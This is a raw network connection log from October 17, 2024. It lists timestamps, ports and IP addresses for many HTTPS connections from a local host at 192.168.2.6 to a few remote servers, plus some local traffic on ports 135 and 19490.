Oct 17, 2024 18:18:27.412600040 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.412635088 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.413053989 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.413064003 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.413496971 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.413518906 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.413764954 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.413769960 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.414319992 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.414356947 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.414376020 CEST	49762	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.414383888 CEST	443	49762	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.425488949 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.425550938 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.425633907 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.425900936 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.425920963 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.425992966 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.426064968 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.426131010 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.429074049 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.429161072 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.429239988 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.429433107 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.429450035 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.429466009 CEST	49764	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.429471970 CEST	443	49764	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.432482958 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.432502985 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.432512999 CEST	49763	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.432518959 CEST	443	49763	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.471811056 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.471865892 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.471920967 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.478303909 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.478338957 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.479407072 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.479465008 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.479566097 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.479819059 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.479834080 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.541848898 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.542445898 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.542701006 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.544909954 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.544974089 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.545574903 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.550585985 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.550622940 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.550638914 CEST	49768	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.550646067 CEST	443	49768	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.555687904 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.555689096 CEST	49774	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.555722952 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.555736065 CEST	443	49774	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.557697058 CEST	49760	19490	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:27.561281919 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.561311007 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.561971903 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.562756062 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.562808990 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.562884092 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.563340902 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.563352108 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.564366102 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:27.564382076 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:27.892996073 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:27.893297911 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:27.904728889 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:27.904750109 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:27.905133963 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:27.942167997 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:27.983402967 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.226850986 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.228560925 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.228598118 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.229167938 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.229176998 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.231050014 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.231483936 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.231560946 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.231887102 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.231901884 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.232317924 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.232659101 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.232688904 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.233130932 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.233139038 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.236820936 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.236891031 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.236908913 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.236928940 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.236962080 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.236974955 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.236993074 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.237020016 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.237034082 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.237034082 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.237052917 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.237066984 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.238713026 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.238794088 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.238806009 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.238904953 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.239700079 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.244128942 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.244128942 CEST	49788	443	192.168.2.6	20.12.23.50
Oct 17, 2024 18:18:28.244147062 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.244155884 CEST	443	49788	20.12.23.50	192.168.2.6
Oct 17, 2024 18:18:28.326641083 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.331412077 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.331434011 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.331856966 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.331870079 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.342643976 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.343419075 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.343451977 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.343837976 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.343844891 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.358510971 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.358609915 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.358658075 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.358859062 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.358881950 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.358896017 CEST	49810	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.358902931 CEST	443	49810	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.362433910 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.362518072 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.362584114 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.362709045 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.362730980 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.362741947 CEST	49808	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.362749100 CEST	443	49808	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.367491007 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.367538929 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.367616892 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.368474960 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.368514061 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.368571997 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.369169950 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.369184017 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.369283915 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.369297028 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.394109011 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.394227028 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.394290924 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.397005081 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.397058964 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.397089958 CEST	49811	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.397105932 CEST	443	49811	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.402558088 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.402604103 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.402666092 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.403913975 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.403927088 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.462603092 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.462676048 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.462955952 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.473727942 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.474612951 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.474698067 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.509327888 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.509327888 CEST	49816	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.509366035 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.509377003 CEST	443	49816	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.526000977 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.526000977 CEST	49817	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.526038885 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.526050091 CEST	443	49817	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.568631887 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.568690062 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.569123983 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.569396973 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.569408894 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.569448948 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.572909117 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.572933912 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:28.572948933 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:28.572957993 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.132996082 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.134864092 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.134948969 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.135488033 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.135513067 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.143834114 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.144675970 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.144711971 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.145154953 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.145159006 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.158296108 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.158839941 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.158871889 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.159323931 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.159328938 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.272542000 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.272711039 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.272797108 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.279814005 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.279814959 CEST	49856	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.279881001 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.279912949 CEST	443	49856	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.285904884 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.285952091 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.286093950 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.286600113 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.286613941 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.287292957 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.287364960 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.287482023 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.287748098 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.287758112 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.287770033 CEST	49859	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.287780046 CEST	443	49859	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.296650887 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.296832085 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.296958923 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.312289000 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.312319040 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.312335968 CEST	49855	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.312342882 CEST	443	49855	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.320945024 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.324887037 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.326522112 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.326571941 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.326646090 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.328474998 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.328501940 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.328823090 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.329041958 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.329051971 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.329305887 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.329309940 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.329431057 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.329449892 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.330811977 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.330817938 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.331679106 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.331682920 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.332036972 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.332056999 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.454317093 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.454824924 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.455696106 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.459038019 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.459530115 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.462341070 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.462341070 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.462341070 CEST	49866	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.462363958 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.462373018 CEST	443	49866	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.466770887 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.466770887 CEST	49865	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.466777086 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.466792107 CEST	443	49865	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.489097118 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.489156961 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.489213943 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.489609957 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.489645004 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.489749908 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.492918968 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.492945910 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.494945049 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:29.494961023 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:29.580192089 CEST	49899	135	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:30.042114973 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.063118935 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.063138962 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.063677073 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.063683033 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.077995062 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.078500986 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.078519106 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.078950882 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.078954935 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.083373070 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.084317923 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.084331989 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.084971905 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.084975958 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.220335007 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.220850945 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.220904112 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.222796917 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.235781908 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.235948086 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.236031055 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.240010023 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.240032911 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.240078926 CEST	49885	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.240083933 CEST	443	49885	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.241466999 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.241506100 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.241969109 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.241975069 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.249946117 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.249996901 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.250168085 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.250351906 CEST	49941	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.250364065 CEST	443	49941	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.253978968 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.253992081 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.254003048 CEST	49886	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.254007101 CEST	443	49886	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.256460905 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.256475925 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.256535053 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.257697105 CEST	49942	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.257723093 CEST	443	49942	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.278901100 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.284164906 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.284193993 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.284646988 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.284657001 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.613464117 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.613547087 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.613619089 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.613876104 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.613939047 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.613986015 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.614290953 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.614346981 CEST	443	49895	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.614605904 CEST	49895	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.620207071 CEST	49899	135	192.168.2.6	192.168.2.1
Oct 17, 2024 18:18:30.624736071 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.624736071 CEST	49883	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.624758959 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.624768972 CEST	443	49883	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.626560926 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.626562119 CEST	49894	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:30.626590967 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.626604080 CEST	443	49894	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:30.630801916 CEST	49895	443	192.168.2.6	13.107.246.45
